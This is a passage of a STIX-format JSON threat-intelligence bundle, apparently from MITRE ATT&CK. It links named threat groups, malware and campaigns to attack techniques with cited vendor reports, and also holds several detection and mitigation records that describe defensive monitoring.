2017)","relationship_type":"uses","source_ref":"malware--0998045d-f96e-4284-95ce-3c8219707486","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","source_name":"Kaspersky Carbanak"}],"modified":"2020-03-17T23:39:44.725Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) has named malware \"svchost.exe,\" which is the name of the Windows shared service host program.(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbf33c27-569c-4005-b047-63b8ec4e6a22","type":"relationship","created":"2020-01-31T19:00:56.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T19:00:56.776Z","relationship_type":"revoked-by","source_ref":"attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc016a10-a594-495b-8822-ca054050f144","type":"relationship","created":"2020-09-11T13:27:44.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2021-01-22T16:21:40.210Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can steal passwords from the KeePass open source password manager.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc02a307-04c7-4b8e-ab91-bf8ca261420e","type":"relationship","created":"2021-03-31T12:39:11.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T13:04:01.182Z","description":"Audit images deployed within the environment to ensure they do not contain any malicious components.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bc0367d2-ad95-4197-b3b4-432e8bba6fec","created":"2022-03-24T20:26:35.564Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can gather Windows Vault credentials.(Citation: GitHub SILENTTRINITY Modules July 2019) ","modified":"2022-04-18T13:57:25.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc0704ff-406d-4be2-90ef-6a667041365f","created":"2022-09-29T20:48:02.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:36:46.564Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used Visual Basic scripts.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc0a285a-fcee-4a9a-9d74-9f723d6c20c2","type":"relationship","created":"2021-11-24T20:17:35.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T20:17:35.466Z","description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used batch files to deploy open-source and multi-stage RATs.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bc0c33f3-211b-4b39-ac75-9d8693897b7f","created":"2022-08-31T16:25:33.286Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has downloaded additional payloads and malicious scripts onto a compromised host.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T16:25:33.286Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc0ed7ce-f99f-4d88-a3cc-81af825f311a","type":"relationship","created":"2021-10-15T19:52:14.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-10-15T19:52:14.122Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has collected files and other sensitive information from a compromised network.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc10ac94-d350-465e-871d-ba7c974dadf5","created":"2024-02-14T21:08:27.936Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:08:27.936Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) includes one infection vector that leverages a malicious \"KeyScramblerE.DLL\" library that will load during the execution of the legitimate KeyScrambler application.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc156b29-534a-4156-b188-8f4a426a0e6c","created":"2023-08-03T21:08:01.115Z","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T21:08:01.115Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has created email accounts to communicate with their ransomware victims, to include providing payment and decryption details.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc1bee0f-2e60-452d-8e11-3ba3993ebbd9","created":"2022-10-13T20:18:50.631Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:18:50.631Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used a legitimate Windows executable and secure directory for their payloads to bypass UAC.(Citation: McAfee Honeybee) ","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc1bfbc2-aeff-4e8b-a053-adc669efdfcd","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor cloud logs for API calls and other potentially unusual activity related to block object storage enumeration. Discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","source_ref":"x-mitre-data-component--ec225357-8197-47a4-a9cd-57741d592877","target_ref":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc1c0019-3072-413f-add4-da266e467edf","created":"2024-09-23T17:47:14.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:54:24.866Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) can require a password to activate the backdoor and uses RC4 encryption or static library encryption `libtomcrypt`.(Citation: Sandfly BPFDoor 2022)","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc1c5d97-5e95-4ba3-bf61-ffe3de56d508","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2019-03-22T20:21:57.822Z","description":"(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc215902-f577-4968-8447-b4a22432b1c2","type":"relationship","created":"2021-03-18T16:33:07.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-03-18T16:33:07.756Z","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can capture and store keystrokes.(Citation: CISA EB Aug 2020)","relationship_type":"uses","source_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc249532-826d-4bc2-8b03-43f284fe609f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T19:00:53.741Z","description":"[adbupd](https://attack.mitre.org/software/S0202) can use a WMI script to achieve persistence.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc2770c2-2d08-4b28-bc46-e0451c391f01","created":"2024-07-29T22:31:05.264Z","revoked":false,"external_references":[{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:31:05.264Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) executed PowerShell scripts that would subsequently attempt to establish persistence by creating scheduled tasks objects to periodically retrieve and execute remotely-hosted payloads.(Citation: DomainTools WinterVivern 2021)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc28a305-565f-4a4e-9f71-3956aa19fd9f","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc2f8fcf-e884-4c90-b422-7da4c0684125","created":"2024-08-30T13:54:41.014Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:54:41.014Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may leverage code repositories to collect valuable information. Monitor access to messaging applications, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access messaging applications. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc2fe4e7-cb7c-4707-b28b-a709c2ac017d","type":"relationship","created":"2021-10-13T13:00:59.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}],"modified":"2021-10-16T02:03:14.677Z","description":"[NativeZone](https://attack.mitre.org/software/S0637) has, upon execution, displayed a message box that appears to be related to a Ukrainian electronic document management system.(Citation: SentinelOne NobleBaron June 2021)","relationship_type":"uses","source_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc40c6be-575a-4eb9-981f-fa6c127d2286","type":"relationship","created":"2020-07-16T15:10:35.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:10:35.343Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc4252e5-6a2a-443e-9a31-16d86f4f069b","type":"relationship","created":"2020-07-28T18:20:56.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."},{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}],"modified":"2020-07-28T18:20:56.624Z","description":"(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc4b8f68-3570-474e-8157-225afddda463","type":"relationship","created":"2019-05-28T19:59:45.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Mar 2018","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019."}],"modified":"2020-03-20T23:52:23.789Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used SEAL encryption during the initial C2 handshake.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bc52cbe2-32a0-4491-aa57-46ef39e431b9","created":"2022-09-27T18:00:20.565Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:00:20.565Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc531c11-f295-41cc-9de8-2adb201621b5","type":"relationship","created":"2021-09-29T00:04:27.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-29T00:04:27.086Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has a command to start an interactive shell.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc535e23-87e5-4829-a531-cdcdb2b6b52e","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc592166-c29c-4913-b8a0-ec266321a325","type":"relationship","created":"2021-09-21T14:52:49.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-09-21T17:11:52.855Z","description":"(Citation: ESET BackdoorDiplomacy Jun 